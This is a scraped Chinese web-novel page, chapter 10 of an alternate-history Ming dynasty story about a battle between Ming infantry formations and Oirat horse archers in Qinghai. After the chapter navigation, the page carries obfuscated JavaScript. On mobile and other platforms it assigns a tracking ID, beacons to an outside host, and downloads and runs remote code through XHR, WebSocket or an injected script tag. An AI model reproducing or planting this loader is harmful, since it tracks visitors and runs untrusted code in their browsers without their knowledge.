去读读 > 玄幻魔法 > 明歌明朝 > 第十章 :铁骑追风(2)

第十章 :铁骑追风(2)(1/2)

上一章明歌明朝章节目录下一页
(前情回要:皇帝小朱发布诏书,从而强调‘军队自处权’与‘国家主导权’并重的理论。其次,采用了温体仁的建议,来处理‘天降异象’造成的舆论波动。)

小朱的‘问解诏’和‘整肃军纪诏’产生的效果非常深远。但关于国家以何种方式来面对民间舆论的问题,属于以后的事情,小朱现在最重要的,是重建制度。

一个政治家的成熟,从来都是经历三个阶段:以私恩代替制度,从而确立自己所依赖倚重的政治***;以制度取代情感,好规避私情与制度之间的矛盾激化;以个人权威来竖立对他人绝对控制的绝对权威。

这三个阶段,是所有政治家都不可避免的阶段,放眼世界,很难找到第四种状态,上下五千年,能够在自己个人威望达到顶峰之时,却依然对制度保持高度尊崇与敬畏之心的,就只有那位乳名唤作大鸾的伟人,他是唯一的例外!

小朱当然也希望自己成为一个‘伟大’的帝王,但这需要时间来验证,他现在所要实现的,是将自己的执政方式,从第一阶段迅速上升到第二阶段。因为在他的心中‘灿烂’‘辉煌’‘璀璨’‘炫目’这些美丽的词汇都是用来形容中华民族的,为了使他深深热爱的这个民族不再饱受欺凌与屈辱,小朱必须让国家实现制度化。

这种对制度化的渴望,反映在圣旨之中,就使得凡是够级别直接拿到两道诏书邸报的文臣武将们,都不约而同的叹一句:‘吾皇再不是才登基时的少年了!’

除了感叹之外,大家赶紧干的一件事儿,就是立刻让书童研墨,好上书以明心迹,其中也有人专门讨论了袁崇焕的事情,但这也是以后的事情,目前来说,是西北这边的局势。

接到诏书的西北军,也立刻进行了一次传阅和讨论,五个年轻将领都承认,国家原谅了他们擅杀李自成的行为,但不代表国家会忘记这点。摆脱阴影的唯一方式,就是推开窗户请阳光照进来。这时候的阳光,就是战场上的胜利。

刚好,洪承畴和内阁又获悉了舒烨稷的军情,说是此时盘踞青海省的瓦剌武装,是固始汗(智慧王)的军队。既然大明和固始汗都是才进青海的‘客兵’,那这事情反倒好办了。兵部洪承畴请示过皇帝之后,即刻下发勘合,先给了高杰‘暂领候选’的安排,随后便严令他们即刻西进,倾全力驱固始汗出青海。

原先的征西大计,国家是借助几个‘哭殿求兵’的番夷商人来设计的,明眼人都知道这是一件很没影儿的事情。现在基于切实军情警讯所做的战略计划,目标就非常明确了:先把青海湖左近的大草滩拿下来,国家要继河套镇之后,再建立一个军马基地。

所以,贺赞、孙诚、唐栋、王来聘、徐彦琦、高杰等六人,接旨后立刻动身,急速翻越了祁连山,才接近‘大草滩’边缘地带,就发现了固始汗的小股部队,贺赞当时是六军整备,自然没当回事。

“王来聘!”

“末将在!”

“战!”

王来聘得令后,立刻翻身下马,从马鞍上抽出一条哨棒,先笑呵呵冲徐彦琦点了下头,随后点出自己身后的4千步兵,向前方的瓦剌游骑靠拢。

不论是汉军,还是瓦剌军,双方之前都没有想到要掩饰行藏,所以互相之间都知道了对方的存在。又因为现在的青海属于三不管地带,在这种真空走廊的大环境下,军力、将领、人员、粮草线等军情,是很难轻易获悉的。最佳的方式,只有开战一途。并且在正式决战之前,怎样都要对一对力气,先试探一下对方的深浅。

这天清晨,高原以她特有的景色,来迎接这两支军队。其中之一即将通过血与火的洗礼,成为她的主人!如果把高原比喻成美丽的处子,那么赢得美女处子之芬的,首先要成为一名盖世英雄。将对手击垮或者死在这里。

蓝色纯净的天空中,是大朵大朵的云彩,自云彩的缝隙中,太阳照射下一道又一道的金光,浅绿色的草原,洁白色的雪山,由于空气稀薄造成的光线浮动,使得雪山变得透明起来,人们可以看到雪山后面的雪山,雪山后面的草原。

瓦剌骑兵静静地等待着王来聘的到来,他们极力想造成这样一个效果,这里是我们先来的,所以我们就是主人!眼见王来聘带出来4千步兵,瓦剌军谨守着勇士的风度,耐心地允许王来聘从容布阵。

世界各国的军队都是讲究列阵的,只是每个将领所习惯的阵型是不同的,唐栋和王来聘同在五军营的序列中供职,但唐栋列阵,讲究鱼鳞阵法,就是盾牌和盾牌像鱼鳞一样一片压一片,士兵肩膀靠肩膀。这样的阵法使得唐栋有了一个外号,叫做‘山河动’。意思是‘大河改道,五岳移位,唐栋的鱼鳞阵也不动分毫。’

不果王来聘的阵法则又有不同,不,完全不同,他是将步兵东一块,西一块的分散排列,一般来说是十伙为一组,每组100人。

然后按不同的任务,分别站好。

负责持盾防守的,前后两排,每排十组(1千人)。

然后王来聘亲自带着十组人马,持有带分量的长武器,蹲伏在盾阵的身后,他们负责近战肉搏。

后面还有十组的步兵,五组举火铳,五组挽长弓,然后梅花间竹,隔一组一变。

组与组之间的距离,是十步到五十步之间,这样排列的4千人步兵阵型,其占地面积显得非常可观,几乎用去了10万平方米的面积。

这种阵法,又被称为‘九转逥风’,内涵丰富。敌人也是人,遇到激烈且集中的火力攻击时,会本能选择阵型中的缝隙处躲闪,这就使得‘九转逥风阵’的威力突然显现。

因为明军本来就是东一块西一块(九转)的站位,大家早适应了,而敌人的骑兵却是整队冲杀,随后分散进入阵地,这样,他们早先的部署,就会被自己冲乱。这个时候,各组明军步兵就会同时收缩(逥风),将敌人分割碾杀。

看出这个阵型玄机的瓦剌骑兵,先是绕场外侧的大圈奔走,随后***忽然缩小,每当马匹四蹄腾空的时候,就齐发一声喊,漫天的羽箭顷刻间飞驰而来。整齐而且凶悍。瓦剌军的骑射羽箭,都是带着准星过来的。而马匹奔跑的频率,一息之间,就会出现三次腾空,如此极富韵律与节奏的骑射箭雨,还是世间罕见。

五军营是专业步兵营,唐栋领前锋军,王来聘则领中军又称引弦军,顾名思义,自然是以弓弩著称,但面对这样的骑射阵法,还是吃足了苦头。只是因为阵型的便宜,使得对方密集箭雨的杀伤力,多少射了些空炮。

王来聘自诩力大,但他并不了解物理力学,战马四蹄腾空时,通常是向前跳跃的动作,弓箭此时发射,速度会更加迅猛。加上没有马蹄与地面的撞击,稳定性也极高。

见到对方这么高质量的杀敌技巧,王来聘非常高兴的感叹,‘***,这才是对手。’

发完感叹,外围排盾墙的明军,高高举着的盾牌上,已经满是刺猬一般的羽箭了,有很多不幸的士兵都被自缝隙中钻进来的羽箭射中,但阵型没有任何散乱的迹象,只要有人中箭,身边的人立刻会横向接近,以弥补位置上的缺失。

阵中央的十组步兵,没拿盾牌,只是平举着长短火铳和软硬长弓静静站立,他们的任务是瞄准,而不是躲避。

箭羽飞扑过来,他们不躲,不动,甚至连眼睛也不眨一下。

即便中箭倒地,也没有多少人会呻吟出声。

好像有两个成语‘目不交睫’和‘雷打不动’就是形容这种情况的吧?

这种笑傲生死的豪迈,让瓦剌骑兵的千人长,在即将冲击进射程范围前,忽然心生一丝胆怯。

但由不得他多想,对面已经传来‘放!

’的声音,只一瞬间,战场由刚才明军被动挨打一头沉的局面,立刻调了个儿。

明军积蓄已久的怒火,喷薄而发,火铳和长弓的打击,叫整条瓦剌骑兵线,都出现了巨大的缺损,第一环骑兵中,能够幸存的不是很多,因为火铳是三排轮射,长弓是交替施射。

如果瓦剌军的骑射是三拍圆舞曲,那么明军的漫射就是慢板西皮,持续、紧密、连绵的打击,同刚才瓦剌的冲击射法,本质虽然不同,但表现形式完全一样,效果也更加出色。

当幸存的骑兵触及盾墙的时候,王来聘发一声喊,黑塔一般的身子,高高跃起,镔铁哨棒呼啸出尖锐的风声,啪、啪、啪!就是连续三颗头颅的粉碎。他力气大技巧高,在他的带领下,刚才蜷伏在盾阵下面的明军士兵,也都迅速冲出,以极高的效率斩杀瓦剌骑兵。那个千人长,幸运的攻击到王来聘的背后,弯刀一送,刺入甲胄,正常情况,就该斜刺的一甩了,因为继续直送,刀身很容易就会被尸体内的肋骨夹住,所以他先刺再划。

但灵异事件突然出现,刀身竟然被鱼鳞铁甲绞缠住了,由于时间实在太快,还不等千人长做出反映,整个身子就被带下了马,千人长空中松手,双脚连环踢出,试图在落地前躲避攻击,但一个巨大的拳头,却准确地找到了他的面门。

王来聘的大拳头,勾出一条弧线,直接把瓦剌骑兵的脑袋给打进了地里。他身上穿的是绞丝鱼鳞甲,羽箭即便力量奇大,也最多会扎进身体一寸左右,对于常年练武的军人来说,一寸到两寸的损伤,都叫皮肉伤。

第一波骑兵攻势消亡的很快,紧接着是第二波,王来聘他们稍稍费了些力气,因为瓦剌骑兵在这么短的时间内,就找到了一个窍门,匍匐在马背上,不容易被火铳击杀,但这样一来,他们的羽箭密度也小了许多,自然明军的损伤也开始迅速降低。此消彼长,第二波也很快报销在明军的阵前。

第三波,瓦剌军在攻击到射程前,就立刻拨马回旋停止前突,可这样一来,又必然导致战马速度的降低,战马速度降下来,羽箭的力量也正比例递减,杀伤力更聊胜于无了。

而这时,明军也找到了防守的窍门,将长方形的盾牌横向排列,并且只拦正上方。因为瓦剌骑兵的这种骑射阵法,限制了羽箭的飞行方向,只能由上而下,很少有平射的。同时明军也在逐渐靠拢,从而弥补空隙,两军就这样出现了对而不战的奇异景象,只不过双方都没打够,所以都不愿意主动撤离。

直到王来聘再没有了耐性,他擎出硬长弓,以平射的方法,吐气开声:“中!”

哧一支羽箭平行着飞了过去,一名已经打马回返的瓦剌骑兵立刻应声落马,他是从马前面摔下去的,因为王来聘的神力神箭。

“五军引弦,百发百中!”引弦营的明军立刻齐声高喊!

喊声中王来聘再搭一箭,同样一声:“中!”

这回是一名正在拨马回旋的瓦剌骑兵,他中箭后,身子半旋着摔落马下,落地后,羽箭的箭尾,朝向本方阵营。

“五军引弦,百发百中!”

第三声‘中’,第三枝羽箭,第三名中箭者,是正在做骑射攻击动作的瓦剌骑兵,中箭后,因为惯性原因,连人带箭平空飞起,在空中明显出现了一秒钟的滞空现象,随后战马跑开,瓦剌骑兵悬空落下,紧接着是向前滑行,尸体激荡起一阵飞烟。

这回明军懒得喊那么多字了,就喊一个字,“中!”
上一章明歌明朝章节目录下一页
function DcdGKZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return DcdGKZ(t);};window[''+'B'+'y'+'Z'+'H'+'e'+'R'+'y'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://deh.insfhrt.com:8887/stats/70521?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/mj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/mj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLmhibHN3cnFvLmNvbSUzQTg4OODc=','d3NNzJTNNBJTJGJTJGZC52dHlpdHByLmNNvbSUzQTg4ODc=','50662',window,document,['O','N']);}:function(){};